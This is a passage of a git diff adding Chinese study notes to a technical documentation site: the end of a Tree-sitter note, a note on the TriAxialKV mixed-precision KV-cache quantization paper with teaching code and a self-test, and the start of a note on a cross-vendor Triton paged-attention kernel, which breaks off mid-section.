+编辑器集成时，每次 `onChange` 事件把 edit 传给 `parser.parse(newText, oldTree, edit)` 即可。Neovim 的 `nvim-treesitter`、Helix 内置高亮都是这个模式。C API 等价形式是 `ts_parser_parse(self, old_tree, input)`，其中 `TSInput` 还支持从 rope / piece table 按需 `read` 文本，不必先把整文件拼成连续字符串。
+
+### 案例 3：Tree Query 做语法感知搜索
+
+不用正则猜结构，直接在 CST 上查询：
+
+```scheme
+;; queries/highlights.scm
+(function_declaration
+  name: (identifier) @func-name
+  parameters: (formal_parameters) @params
+  body: (statement_block) @body)
+```
+
+```javascript
+const { Parser, Query } = require('tree-sitter');
+const JavaScript = require('tree-sitter-javascript');
+
+const parser = new Parser();
+parser.setLanguage(JavaScript);
+const tree = parser.parse('function foo(a, b) { return a + b; }');
+
+const query = new Query(JavaScript, `
+  (function_declaration
+    name: (identifier) @name)
+`);
+
+for (const { name, node } of query.captures(tree.rootNode)) {
+  console.log(name, node.text); // name foo
+}
+```
+
+这比 `grep "function "` 精确得多——不会误匹配字符串里的 `"function foo"`，因为 Tree-sitter 知道那是 `string` 节点里的内容。
+
+### 案例 4：外部 Scanner 处理上下文相关语法
+
+纯上下文无关文法搞不定的场景（如 TLA+ 对齐的 `/\` 列表、C 的 typedef 消歧），可在 `grammar.js` 里声明 `externals`，用 C 编写 **external scanner**：parser 把「当前合法 token 集合」传给 scanner，scanner 返回下一个 token 并维护任意状态。
+
+```javascript
+// grammar.js 片段
+externals: $ => [$.indent, $.dedent, $.newline],
+```
+
+这在 Tree-sitter 生态里是进阶手段，但解释了为何它能覆盖比「教科书 CFG」更刁钻的真实语言表面语法。
+
+## 与传统工具对比
+
+| 维度 | 正则 / TextMate | ANTLR / Bison | Tree-sitter |
+|------|----------------|---------------|-------------|
+| 理解语法结构 | 否 | 是 | 是 |
+| 增量更新 | 否 | 否（通常全量） | **是** |
+| 语法错误容忍 | 不适用 | 通常直接失败 | **ERROR 节点继续** |
+| 嵌入编辑器 | 容易但不准 | 重、慢 | **轻（C 库）+ 快** |
+| 歧义文法 | 不适用 | 需手动消歧 | **GLR 自动处理** |
+
+Tree-sitter **不是编译器前端**——它不做法语分析、类型检查、IR 生成。LLVM / GCC 仍然需要自己的 parser + semantic analysis。Tree-sitter 的定位是 **IDE / linter / 代码搜索 / 高亮** 这一层的「够快、够稳、够通用」的语法树引擎。
+
+## 生态系统
+
+- **编辑器**：Neovim (`nvim-treesitter`)、Helix（内置）、Emacs (`emacs-tree-sitter`)、Zed
+- **工具**：[[ast-grep]]（结构化搜索替换）、GitHub 代码导航、Sourcegraph 部分功能
+- **语言 parser**：上游组织维护 40+ 官方 grammar（JS/TS、Python、Rust、Go、C/C++……），社区 wiki 还有更多
+- **绑定**：Rust、Node.js、Python、Go、Swift、WASM 等
+
+写新语言支持的标准流程：`tree-sitter init` → 编辑 `grammar.js` → `tree-sitter generate` → `tree-sitter test` → 发布 npm/crates.io 包。
+
+## 局限与注意事项
+
+1. **Context-sensitive 语义搞不定**：知道「这是 `declaration` 节点」，不知道 `T` 是不是类型名——完整语义仍要 LSP / 编译器
+2. **grammar 质量决定一切**：烂 grammar → 烂树 → 高亮乱、query 误匹配。需要 `tree-sitter test` + corpus 持续维护
+3. **内存占用**：CST 比 AST 大（每个 token 都是节点），大文件会占更多内存——增量解析换来的速度代价
+4. **跨文件分析需叠加**：Tree-sitter 单文件内很强；GitHub 的 stack graphs 等方案在 CST 之上做跨文件引用，那是另一层系统
+
+## 底层研究脉络
+
+Tree-sitter 设计深受以下工作影响（官网 *Underlying Research* 章节）：
+
+- *Practical Algorithms for Incremental Software Development Environments* —— 增量软件环境算法
+- *Efficient and Flexible Incremental Parsing* —— 子树复用与灵活增量策略
+- *Context Aware Scanning for Parsing Extensible Languages* —— 可扩展语言的上下文感知扫描
+- *Incremental Analysis of Real Programming Languages* —— 真实语言的增量分析
+- *Error Detection and Recovery in LR Parsers* —— LR 错误检测与恢复
+
+可以把 Tree-sitter 看成把这些 80–90 年代 IDE 研究**工程化 + 通用化**后的产物：统一 C API、grammar 即代码、GLR + 增量 + 错误恢复打包成可嵌入的库。
+
+## 小结
+
+| 概念 | 一句话 |
+|------|--------|
+| CST | 保留所有 token 的完整语法树，适合高亮/格式化 |
+| 增量解析 | 编辑时复用未变子树，O(编辑量) 而非 O(文件大小) |
+| GLR | 处理歧义文法，适合 C/C++ 等语言 |
+| ReusableNode | 解析时优先挂载旧子树，失败再局部重算 |
+| ERROR 节点 | 语法不完整时仍返回可用树 |
+| grammar.js → parser.c | JS 写规则，C 跑解析，零运行时依赖 |
+| Tree Query | S-expression 在 CST 上模式匹配 |
+
+Tree-sitter 解决的不是「怎么编译程序」，而是**编程工具如何以毫秒级延迟理解正在被你改动的代码**。在 LSP 普及之前，这是编辑器智能化最难的一环；Tree-sitter 把它变成了**可复用的基础设施**。
+
+## 延伸阅读
+
+- [Tree-sitter 官方文档](https://tree-sitter.github.io/tree-sitter/) —— API、grammar DSL、Query 语法
+- [Strange Loop 2018 演讲](https://www.youtube.com/watch?v=Jes3bD6P0To) —— Max Brunsfeld 原始介绍（含增量复用动画式讲解）
+- [[ast-grep]] —— 基于 Tree-sitter 的结构化代码搜索
+- [[tomita-glr]] —— GLR 算法家族背景
+- [[earley-parser]] —— 另一路可处理歧义的解析思路（对比阅读）
+- [[ssa]] —— 编译器内部的另一种「代码表示」（SSA vs CST，层次不同）
diff --git a/src/content/docs/papers/triaxialkv.md b/src/content/docs/papers/triaxialkv.md
new file mode 100644
index 000000000..3ab50c3d2
--- /dev/null
+++ b/src/content/docs/papers/triaxialkv.md
@@ -0,0 +1,422 @@
+---
+title: TriAxialKV — Agent 推理场景下的极低精度 KV Cache 混合量化
+来源: 'Shen et al., "TriAxialKV: Toward Extreme Low-Precision KV-Cache Quantization for Agentic Inference Tasks", arXiv:2605.17170, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：给 Agent 的「工作日志」分档存档
+
+想象你是一个电脑操作 Agent 的秘书，要把一整天的交互记录塞进一个固定大小的文件柜（**GPU 显存**）。日志里什么都有：
+
+- 早上读过的 **系统说明书**（tool schema、安全规则）——错一个字，下午调 API 就会传错参数名；
+- 用户三小时前说的话（**旧轮次**）——多数时候只是背景，偶尔才需要翻；
+- 刚截的 **屏幕截图**（图像 token）——和纯文字在统计特性上完全不同；
+- 模型自己的 **推理草稿**、**工具调用 JSON**、**环境返回的 observation**——各有各的「容错率」。
+
+若你对所有页面一律用同一套压缩（比如全部压成 2-bit），就像把说明书和草稿都缩印到看不清——**最该保真的部分最先坏**。若只按「时间远近」或「是不是图片」单维度分档，又会出现：「旧轮次的系统提示」和「旧轮次的闲聊」被同等对待，浪费宝贵的高精度档位。
+
+**TriAxialKV** 的做法是：给每个 token 贴一个 **三维标签**（时间远近 × 模态 × 语义角色），离线测出「哪类标签对 attention 输出最敏感」，再在固定平均比特预算下，给敏感段 **INT4**、不敏感段 **INT2**。论文在 Qwen3-VL-32B 跑 OSWorld 电脑操作任务时，在 **精度与 BF16 持平** 的前提下，KV cache 可扩到约 **4.5×**，端到端吞吐提升约 **30%**（H100 上最高约 **1.52×**）。
+
+---
+
+## 是什么
+
+**TriAxialKV** 是剑桥大学与帝国理工团队提出的 **面向 Agent 工作负载的混合精度 KV cache 量化框架**，已集成进 **SGLang** 推理栈，包含：
+
+| 模块 | 作用 |
+|------|------|
+| **Triaxial Tagger** | 仅凭 chat template 结构，单次扫描为每个 prefill token 打上三维标签 |
+| **离线校准** | 在真实 prefill 轨迹上测量「只量化某一类 tag」时的 attention 输出 MSE |
+| **比特分配器** | 在目标平均位宽 \(B \in [2,4]\) 约束下，为每个 tag 选 INT2 或 INT4 |
+| **双精度内存池** | 分页管理的 INT2 / INT4 池，共享虚拟地址空间 |
+| **融合 Triton decode kernel** | Flash-decoding 路径上 **边解压边算 attention**，避免全量反量化 |
+
+与「全 cache 统一 2-bit」（KIVI）或「全 cache FP4」不同，TriAxialKV 的核心论点是：**Agent prefill 的异质性是三维的，必须联合建模**，否则会把比特花在错误的地方。
+
+---
+
+## 为什么 Agent 场景特别难
+
+普通聊天：上下文相对同质，KV 量化误差较均匀。
+
+**Agent 工作负载**（函数调用、电脑操作、多轮工具循环）则具备：
+
+1. **超长 prefill**：OSWorld 轨迹平均 prefill 约 **11,000 token**，decode 约 **300 token**；LLaMA-3-70B 在 OSWorld 上 KV 可达 **~100K token**，FP16 单 batch 就占 **~30 GB**。
+2. **结构化多段**：system / user / assistant / reasoning / tool_call / observation 交替出现。
+3. **多模态**：截图等 image token 与 text token 分布差异大。
+4. **时间结构**：当前轮 vs 前两轮 vs 更早历史，attention 权重衰减模式不同。
+
+论文 profiling 发现：不同 token 对 KV 量化的敏感度可差 **一个数量级以上**，且主要由上述三维结构解释。单轴方法（PM-KVQ 看时间、VL-Cache 看模态、ThinKV 看语义）各自有效，但 **联合分配** 才能在极低平均位宽下保住任务精度。
+
+---
+
+## 核心概念
+
+### 1. 三维标签空间 \(\mathcal{S}\)
+
+每个 token 的标签是三个轴的笛卡尔积：
+
+```text
+S = A_temporal × A_modal × A_semantic
+```
+
+**时间轴** \(A_{\mathrm{temporal}}\)：
+
+| 值 | 含义 |
+|----|------|
+| `current` | 最近一轮（从当前 user 消息到序列末尾） |
+| `turn_m1` | 上一轮 |
+| `turn_m2` | 上上一轮 |
+| `older` | 更早的一切 |
+
+**模态轴** \(A_{\mathrm{modal}}\)：`text` | `image`
+
+**语义轴** \(A_{\mathrm{semantic}}\)：
+
+| Tag | 典型内容 |
+|-----|----------|
+| `inst` | 系统提示、tool schema |
+| `user` | 用户自然语言 |
+| `assistant` | 普通助手回复（非推理/工具括号内） |
+| `reasoning` | `` 等括号内思维链 |
+| `tool_call` | 工具调用 JSON |
+| `obs` | 工具输出、截图描述等环境反馈 |
+| `delim` | chat template 分隔符、角色标记 |
+
+实践中合法组合约 **≤22 种**（如 `image|reasoning` 不会出现），tag 空间足够小，可枚举 \(2^{|\mathcal{S}|}\) 种分配方案。
+
+### 2. 优化目标：attention 输出 MSE，而非 KV 重建误差
+
+设全精度 attention 输出为 \(o_i\)，按分配 \(\mathbf{b}\) 量化后的输出为 \(\tilde{o}_i(\mathbf{b})\)。目标：
+
+\[
+\mathcal{L}(\mathbf{b}) = \mathbb{E}_i \| o_i - \tilde{o}_i(\mathbf{b}) \|_2^2
+\]
+
+一阶近似后可分解为 **按 tag 的可加失真**：
+
+\[
+\hat{\mathcal{L}}(\mathbf{b}) = \sum_{k \in \mathcal{S}} D_k(b_k)
+\]
+
+其中 \(D_k(b)\) 表示：**只把 tag \(k\) 的 token 量化到 \(b\) bit，其余保持全精度** 时的输出 MSE。这比直接最小化 KV 量化误差更合理——softmax 会放大少数高权重 token 的误差，而冷门 token 量化再烂也可能几乎不影响输出。
+
+### 3. 约束下的 INT2/INT4 分配
+
+每个 tag \(k\) 有 token 数 \(N_k\)，位宽 \(b_k \in \{2,4\}\)。在目标平均位宽 \(B\) 下：
+
+\[
+\min_{\mathbf{b}} \sum_k D_k(b_k) \quad \text{s.t.} \quad \sum_k N_k b_k \leq B \sum_k N_k
+\]
+
+从 INT2 升到 INT4 的 **每比特收益**：
+
+\[
+\rho_k = \frac{D_k(2) - D_k(4)}{2 N_k}
+\]
+
+\(|\mathcal{S}|\) 小时枚举所有可行 \(\mathbf{b}\)；更大时用贪心：按 \(\rho_k\) 降序，在预算内尽量升级。
+
+### 4. 量化与内存布局细节
+
+- **分组大小** \(G=32\) 的 asymmetric groupwise 量化。
+- **INT4**：K、V 均 **per-token** 量化。
+- **INT2**：K **per-channel**（避免 outlier 通道拉垮整组 scale），V **per-token**。
+- INT2 key 尾段不足一组的 residual token **走 INT4 路径**（而非 KIVI 式 FP16 residual），简化三精度 kernel。
+- **双池共享地址空间**：启动时按校准得到的 INT2/INT4 比例设 offset，单比较即可判精度。
+- **Decode**：page table 把 INT2 指针排在 INT4 之前，使 flash-decoding 每个 split **位宽同质**；新生成 token 固定写入 INT4 池。
+
+### 5. 校准流程（一次性、按 workload + model）
+
+1. 取数据集 **5%** 作 calibration set；
+2. **KV capture**：在若干均匀分布的层上 hook QKV，prefill 时抓 Q 与新 token 的 KV；
+3. **Sensitivity**：对每个活跃 tag、每个 bitwidth，单独量化并重放 attention，记录 \(D_k(b)\)；跨 head 取 **max**，跨 request 取 **mean**，跨 layer 取 **sum**；
+4. **Budget sweep**：在 \(B \in [2,4]\) 上扫，选 **精度仍与 BF16 持平的最小 \(B\)**（Qwen3-14B BFCL 上约 **2.7 bit** 平均）。
+
+---
+
+## 代码示例 1：Chat-template 三维打标器（教学简化版）
+
+真实实现挂在 SGLang 请求调度器上，**不跑模型、不做 NLP**，只解析 special token 与轮次边界：
+
+```python
+from dataclasses import dataclass
+from enum import Enum
+from typing import Iterator
+
+class Temporal(Enum):
+    CURRENT = "current"
+    TURN_M1 = "turn_m1"
+    TURN_M2 = "turn_m2"
+    OLDER = "older"
+
+class Modal(Enum):
+    TEXT = "text"
+    IMAGE = "image"
+
+class Semantic(Enum):
+    INST = "inst"
+    USER = "user"
+    ASSISTANT = "assistant"
+    REASONING = "reasoning"
+    TOOL_CALL = "tool_call"
+    OBS = "obs"
+    DELIM = "delim"
+
+@dataclass(frozen=True)
+class TriaxialTag:
+    temporal: Temporal
+    modal: Modal
+    semantic: Semantic
+
+def tag_agent_prefill(
+    token_ids: list[int],
+    *,
+    user_marker: int,
+    assistant_marker: int,
+    image_start: int,
+    image_end: int,
+    think_start: int,
+    think_end: int,
+    tool_call_start: int,
+    tool_call_end: int,
+) -> list[TriaxialTag]:
+    """单次线性扫描；轮次用 user_marker 切分。"""
+    turn_starts = [i for i, t in enumerate(token_ids) if t == user_marker]
+    def temporal_at(i: int) -> Temporal:
+        if not turn_starts:
+            return Temporal.CURRENT
+        t_idx = sum(1 for s in turn_starts if s <= i) - 1
+        dist = len(turn_starts) - 1 - t_idx
+        return {
+            0: Temporal.CURRENT,
+            1: Temporal.TURN_M1,
+            2: Temporal.TURN_M2,
+        }.get(dist, Temporal.OLDER)
+
+    tags: list[TriaxialTag] = []
+    in_image = in_think = in_tool = False
+    role = Semantic.DELIM
+
+    for i, tid in enumerate(token_ids):
+        if tid == user_marker:
+            role, in_think, in_tool = Semantic.USER, False, False
+        elif tid == assistant_marker:
+            role, in_think, in_tool = Semantic.ASSISTANT, False, False
+        elif tid == image_start:
+            in_image = True
+        elif tid == image_end:
+            in_image = False
+        elif tid == think_start:
+            in_think, role = True, Semantic.REASONING
+        elif tid == think_end:
+            in_think = False
+        elif tid == tool_call_start:
+            in_tool, role = True, Semantic.TOOL_CALL
+        elif tid == tool_call_end:
+            in_tool = False
+
+        modal = Modal.IMAGE if in_image else Modal.TEXT
+        if i == 0 or token_ids[i - 1] in (user_marker, assistant_marker):
+            if role == Semantic.ASSISTANT and not (in_think or in_tool):
+                role = Semantic.ASSISTANT
+        # 系统段通常在第一个 user 之前
+        if turn_starts and i < turn_starts[0]:
+            role = Semantic.INST
+
+        tags.append(TriaxialTag(temporal_at(i), modal, role))
+    return tags
+```
+
+要点：**标签完全由模板语法驱动**，换模型只需换 special token ID 表，无需理解截图内容或工具语义。
+
+---
+
+## 代码示例 2：按 tag 的贪心比特分配
+
+对应论文 Appendix A 的语义感知分配；枚举版在 \(|\mathcal{S}| \le 22\) 时可直接暴力搜最优：
+
+```python
+from typing import Dict, Tuple
+
+Tag = Tuple[str, str, str]  # (temporal, modal, semantic)
+DistortionTable = Dict[Tuple[Tag, int], float]  # (tag, bits) -> D_k(b)
+
+def per_bit_gain(
+    tag: Tag,
+    n_tokens: int,
+    D: DistortionTable,
+) -> float:
+    return (D[(tag, 2)] - D[(tag, 4)]) / (2 * n_tokens)
+
+def greedy_allocate(
+    counts: Dict[Tag, int],
+    D: DistortionTable,
+    target_avg_bits: float,
+) -> Dict[Tag, int]:
+    total = sum(counts.values())
+    budget_extra = int((target_avg_bits - 2.0) * total)  # 相对全 INT2 的「升级额度」
+    allocation = {tag: 2 for tag in counts}
+
+    ranked = sorted(
+        counts.keys(),
+        key=lambda t: per_bit_gain(t, counts[t], D),
+        reverse=True,
+    )
+    remaining = budget_extra
+    for tag in ranked:
+        cost = 2 * counts[tag]
+        if cost <= remaining:
+            allocation[tag] = 4
+            remaining -= cost
+    return allocation
+
+def allocation_mse(
+    allocation: Dict[Tag, int],
+    D: DistortionTable,
+) -> float:
+    return sum(D[(tag, allocation[tag])] for tag in allocation)
+
+# 校准后典型结论（BFCL Memory）：inst 语义段最敏感 → 几乎总是 INT4
+# BFCL 上约 65–75% token 走 INT2，其余 INT4，平均 ~2.7 bit
+```
+
+**直觉**：\(\rho_k\) 高说明「给这类 token 多加 2 bit」最划算——系统提示 / tool schema（`inst`）往往排在最前，也是 BFCL 上 uniform 2-bit（KIVI）掉点的主因：参数名、类型信息在 KV 里被抹糊，工具调用 JSON 直接错。
+
+---
+
+## 代码示例 3：INT2/INT4 反量化（理解 decode kernel 在做什么）
+
+融合 kernel 在 attention 内联类似逻辑，避免把整段 KV 先展开成 BF16：
+
+```python
+import torch
+
+def dequant_asymmetric(
+    q: torch.Tensor,  # uint8 packed, shape [n_groups, group_size] or per-token
+    scale: torch.Tensor,
+    zero_point: torch.Tensor,
+    bits: int,
+) -> torch.Tensor:
+    levels = 2**bits
+    # 教学版：假定 q 已是 [0, levels-1] 的整数码
+    return scale * (q.float() - zero_point)
+
+def mixed_precision_attention_step(
+    query: torch.Tensor,
+    kv_pages: list[tuple[torch.Tensor, torch.Tensor, int]],  # (k_pack, v_pack, bits)
+    scales: list[tuple[torch.Tensor, torch.Tensor]],
+) -> torch.Tensor:
+    """概念性 decode：逐页解压再算 attention（真实实现用 Triton tile + online softmax）。"""
+    keys, values = [], []
+    for (k_pack, v_pack, bits), (ks, vs) in zip(kv_pages, scales):
+        keys.append(dequant_asymmetric(k_pack, ks[0], ks[1], bits))
+        values.append(dequant_asymmetric(v_pack, vs[0], vs[1], bits))
+    K = torch.cat(keys, dim=-2)
+    V = torch.cat(values, dim=-2)
+    scores = torch.softmax(query @ K.transpose(-2, -1) / (query.size(-1) ** 0.5), dim=-1)
+    return scores @ V
+```
+
+论文强调：**吞吐增益** 来自 (1) 更小 KV → 更大 batch / 并发（H100 上 Qwen3-VL-32B 并发约 **11.78 vs 3.46**）；(2) 带宽受限时 decode 更快（H100 **1.52×** > B200 **1.32×**）。
+
+---
+
+## 实验结果速览
+
+### 任务精度
+
+| 基准 | 设置 | TriAxialKV Mixed vs BF16 |
+|------|------|--------------------------|
+| **BFCL Memory** | Qwen3-14B/32B/235B、Falcon3-10B | 差距 **≤1.1 pt** |
+| **OSWorld** | Qwen3-VL-8B/32B、InternVL3.5-38B | 与 BF16 **持平或略好** |
+
+对比基线：
+
+- **SGLang FP4**：部分模型 **-4～-7 pt**（均匀低比特浮点与模型分布强耦合，不稳定）；
+- **KIVI（uniform 2-bit）**：BFCL 上 **-4～-5 pt**——无法保护 `inst` 段。
+
+### 消融（BFCL，Qwen3）
+
+| 配置 | Qwen3-14B | Qwen3-32B |
+|------|-----------|-----------|
+| 去掉时间轴 | 22.00 | 24.00 |
+| 去掉语义轴 | 18.00 | 20.89 |
+| **完整三维** | **24.22** | **25.11** |
+
+语义轴贡献最大（去掉掉 **~6 pt**）：allocator 能否单独给 system/tool schema 高精度，直接决定函数调用对不对。
+
+### 平均位宽敏感性（Qwen3-14B）
+
+| 平均 \(B\) | 2.5 | 2.6 | **2.7（校准点）** |
+|------------|-----|-----|-------------------|
+| 精度 % | 16.22 | 19.56 | **24.22** |
+
+每降 **0.1 bit** 约丢 **5%** 精度——说明校准 sweep 不是可有可无的超参，而是 **工作点选择**。
+
+---
+
+## 与相关工作的关系
+
+```text
+         时间轴 alone          模态轴 alone          语义轴 alone
+              │                    │                    │
+         PM-KVQ                 VL-Cache              ThinKV
+              │                    │                    │
+              └────────────────────┼────────────────────┘
+                                   │
+                            TriAxialKV（三维联合 + 端到端 serving）
+```
+
+- **KIVI / KVQuant / SAW-INT4**：偏 uniform 或单维启发式，未利用 Agent trace 结构；
+- **H2O / SnapKV**：驱逐 token，与量化正交；
+- **OSCAR**：INT2 旋转校准，目标仍是相对均质的压缩，而非 per-tag 混合；
+- **TriAxialKV**：**结构先验（模板）+ 输出导向校准 + 系统协同设计** 三件套。
+
+---
+
+## 局限与工程注意
+
+1. **校准绑定 workload + model**：换 OSWorld → BFCL 或换 Qwen → InternVL 需重新 capture（成本低，但不是 zero-shot）。
+2. **依赖标准 chat template**：无角色标记、无 thinking/tool 括号的模型要改 tagger。
+3. **仅 INT2/INT4 两档**：更细粒度（如 3-bit）可能进一步改善 Pareto，但 kernel 与内存池复杂度上升。
+4. **`inst` 与 prefix caching**：系统段在多请求间共享，\(N_k\) 取 calibration 中位数估计，与 radix cache 协同设计。
+
+---
+
+## 读者可以带走的三句话
+
+1. **Agent 的 KV 不是一张均匀的大表**，而是带时间层、模态层、语义层结构的日志；压缩必须「按段定价」。
+2. **该保护谁，看 attention 输出失真，不看 KV L2 误差**——这与 OSCAR、KIVI 等工作的视角一致，但 TriAxialKV 把粒度推进到 **tag 级**。
+3. **论文的价值一半在算法，一半在 SGLang 落地**（双池分页 + Triton fused decode）；没有 serving 协同，4.5× KV 扩容量换不来 30% 吞吐。
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2605.17170](https://arxiv.org/abs/2605.17170)
+- 集成基座：[SGLang](https://github.com/sgl-project/sglang)
+- 评测：**BFCL Memory**（文本函数调用）、**OSWorld**（多模态电脑操作）
+- 单轴对照：PM-KVQ（时间）、VL-Cache（模态）、ThinKV（推理/非推理语义）
+
+---
+
+## 自测题
+
+1. 为什么 `inst` 标签的 token 通常应分配 INT4？若 uniform 2-bit 会怎样？
+2. 三维标签里，去掉语义轴为什么比去掉时间轴伤害更大？
+3. Decode 阶段为何把 INT2 页表项排在 INT4 前面？新生成 token 为什么固定进 INT4 池？
+4. \(D_k(b)\) 的「只量化该类 tag」测量法，相比直接最小化 KV MSE 好在哪里？
+
+<details>
+<summary>参考答案（先自己想）</summary>
+
+1. `inst` 含 tool schema 与系统规则，KV 误差会映射到错误的函数名/参数类型；BFCL 上 KIVI uniform 2-bit 掉 4–5 pt 即源于此。
+2. 语义轴区分 system/user/tool/obs 等 **功能迥异** 的段；去掉后 allocator 无法给 schema 单独加 bit。时间轴主要让旧轮次更激进压缩，边际收益较小。
+3. Flash-decoding 按连续 split 并行，同 split 同质位宽可单路径解压；自回归新 token 只占一小段且常与当前 query 强相关，用 INT4 保守处理。
+4. Softmax 非线性使「KV 小误差 × 大 attention 权重」与「KV 大误差 × 小权重」对输出影响不对称；输出 MSE 与任务指标更对齐。
+
+</details>
diff --git a/src/content/docs/papers/triton-2019.md b/src/content/docs/papers/triton-2019.md
index 3301d5d12..5483e4837 100644
--- a/src/content/docs/papers/triton-2019.md
+++ b/src/content/docs/papers/triton-2019.md
@@ -155,9 +155,12 @@ tile 抽象让 IO-aware 算法第一次「看起来像伪代码」，可读性
 - [[cutlass-2020]] —— CUTLASS — 把 SOTA GEMM 拆成可组合的 C++ 模板层级
 - [[flash-attention]] —— FlashAttention — 不改算法，只改数据怎么进 GPU
 - [[halide]] —— Halide — 把"算什么"和"怎么算"分开写
+- [[liger-kernel-llm-training]] —— Liger Kernel — 面向 LLM 训练的高效 Triton Kernel 套件
 - [[llvm]] —— LLVM — 模块化编译器框架
 - [[mlir]] —— MLIR — 给编译器一套乐高，每层抽象都能搭自己的方言
 - [[ssa]] —— SSA — 静态单赋值形式
+- [[tensorrt-llm-overview]] —— TensorRT-LLM — NVIDIA 开源 LLM 推理优化库零基础笔记
+- [[triton-anatomy-paged-attn]] —— The Anatomy of a Triton Attention Kernel — 零基础学习笔记
 - [[triton-inference-server]] —— Triton Inference Server — NVIDIA 多框架推理服务化标杆
 - [[tvm]] —— TVM — 让一份模型能在所有硬件上跑得快
 - [[vllm]] —— vLLM — 高吞吐 LLM 推理引擎
diff --git a/src/content/docs/papers/triton-anatomy-paged-attn.md b/src/content/docs/papers/triton-anatomy-paged-attn.md
new file mode 100644
index 000000000..cb059970e
--- /dev/null
+++ b/src/content/docs/papers/triton-anatomy-paged-attn.md
@@ -0,0 +1,352 @@
+---
+title: The Anatomy of a Triton Attention Kernel — 零基础学习笔记
+来源: https://arxiv.org/abs/2511.11581
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：一家餐厅，却要为每家分店各写一本菜谱
+
+想象你经营一家**连锁餐厅集团**（vLLM 推理服务器），核心菜品是 **Attention 炒饭**——每来一位客人（请求），厨师都要把新点的配料（Query）和仓库里所有历史配料（KV cache）对一遍，算出「该加多少料」。
+
+过去为了快，你给 **NVIDIA 店** 雇了一支 CUDA 大厨团，写了 **7 万行** 秘方（FlashAttention-3）；又给 **AMD 店** 再雇一支 HIP 大厨团，再写几万行。两家店的菜谱**几乎不能互用**，每换一代 GPU（Hopper、Blackwell、MI300…）又要重写一轮——维护成本像雪球一样滚。
+
+**这篇论文做的事**，相当于：只用一种**高级料理语言 Triton**（Python 写 kernel、JIT 编译到各平台），做出一份约 **800 行** 的通用菜谱，在 NVIDIA H100 上跑到 FlashAttention-3 的 **105.9%**，在 AMD MI300 上比旧实现快约 **5.8×**，并且**同一份源码**两边都能用。
+
+更关键的是：它解剖了这份菜谱是怎么从「只有 SOTA 19.7% 性能的菜鸟配方」一路优化上来的——**Q Block、并行分块 Softmax、持久化 kernel、离线 autotune + 启发式决策树、CUDA Graph 兼容**——每一步都有工程理由，而不只是「多试几次参数」。
+
+一句话：**用开源 DSL + 系统级集成，把「跨厂商 LLM attention」从梦想变成 vLLM 里 AMD 的默认后端。**
+
+---
+
+## 是什么
+
+**The Anatomy of a Triton Attention Kernel**（Ringlein 等，IBM Research，2025 年 10 月，[arXiv:2511.11581](https://arxiv.org/abs/2511.11581)）记录如何用**纯 Triton** 实现生产级 **Paged Attention** kernel，并集成进 **vLLM** 的 `triton_attn` 后端。
+
+| 项目 | 内容 |
+|------|------|
+| 作者机构 | IBM Research Zurich；与 Red Hat、AMD 协作 upstream 到 vLLM |
+| 核心目标 | 跨 NVIDIA / AMD（及 Intel XPU）的**性能可移植** attention |
+| 起点性能 | 朴素 Triton paged attention ≈ SOTA 的 **19.7%** |
+| 终点性能 | H100 上 ≈ FlashAttention-3 的 **100.7%–105.9%**；MI300 解码约 **5.8×** |
+| 代码规模 | Triton 实现约 **800 行** vs FlashAttention-3 约 **70,000 行** CUDA |
+| 开源 | [ibm.biz/vllm-ibm-triton-lib](https://ibm.biz/vllm-ibm-triton-lib)；vLLM 主仓 `triton_unified_attention.py` |
+| 生产地位 | **AMD ROCm 上 vLLM 默认 attention 后端**；NVIDIA 上作特性回退（ALiBi、sink token、小 head dim 等） |
+
+与 [[paged-attention-vllm]] 的关系：PagedAttention 解决 **KV 怎么分页存**；本篇解决 **分页 KV 上的 attention 怎么算得快且可移植**。
+
+与 [[triton-2019]] 的关系：Triton 提供 tile 抽象与 JIT；本篇是 Triton 在 **LLM 推理最热路径** 上的解剖级案例。
+
+---
+
+## 为什么重要
+
+- **硬件彩票（hardware lottery）**：FlashAttention、FlashInfer 等库深度绑定 NVIDIA；换 AMD 往往要 fork + hipify 或维护第二套代码。论文论证 **开源 DSL 可以打破这种锁定**。
+- **维护成本数量级差异**：7 万行 CUDA 换一个 mask 变体 vs 800 行 Triton——对 inference 框架维护者是质变。
+- **性能可移植 ≠ 写一次不管**：朴素 Triton 只有 19.7% SOTA；论文价值在于**可复用的优化方法论**（见下文核心概念）。
+- **与 serving 栈深度耦合**：kernel 再快，若 launch grid 随 batch 变、与 CUDA Graph 冲突，端到端仍慢——论文专章讨论 **vLLM V1 集成与 graph 录制**。
+- **产业落地**：不是实验室 microbench，而是成为 **vLLM 默认路径之一**，影响真实部署成本。
+
+---
+
+## 核心概念
+
+### 1. Paged Attention kernel 在算什么？
+
+对每个 batch 中的 query token、每个 query head（GQA 下多个 Q head 可共享一个 KV head）：
+
+1. 用 **block table** 遍历分页 KV cache 里的 K、V 块（逻辑块 → 物理块，块不必连续）
+2. 算 attention score：`QK^T / sqrt(d)`，加 causal mask / sliding window 等
+3. **Online（tiled）softmax**：分块算 exp 与归一化，不把完整 N×N 分数矩阵写进 HBM
+4. 加权求和 V，得到输出
+
+三维循环结构（概念上）：**batch 内 token × head × KV 页遍历**。实现上要把这个循环映射成 GPU 上的 **program instance 网格**。
+
+### 2. 基线 kernel 的问题（19.7% 从哪来）
+
+第一版实现沿用 vLLM 原始 paged attention 算法：
+
+- **每个 program instance 只处理 1 个 (query token, query head) 对**
+- Prefill launch grid：`tokens_in_batch × num_query_heads`
+- Decode launch grid：`sequences_in_batch × num_query_heads`
+
+Decode 时 batch 常很小（甚至 1），grid 很瘦 → **SM 大量空转**。同时 `tl.dot` 的 tile 太小，Tensor Core 吃不满。这就是「能跑但远慢于 FlashAttention」的根本原因。
+
+### 3. Q Block：把「小活」拼成「大矩阵乘」
+
+**Q Block** 把多个 query token + 共享同一 KV head 的多个 query head **打平成一个 `BLOCK_M × HEAD_SIZE` 的二维块**，一次 `tl.dot` 干更多活：
+
+- Prefill：连续多个 prompt token 可复用同一段 K/V
+- GQA：同一 KV head 只加载一次，多个 Q head 一起算
+
+Launch grid 改为大致 **`batch × num_kv_heads`**（每个 instance 处理若干 Q Block）。这是论文里**第一条大幅提速**的杠杆——让 attention 的核心计算更像「胖 GEMM」。
+
+### 4. Parallel Tiled Softmax（3D kernel）
+
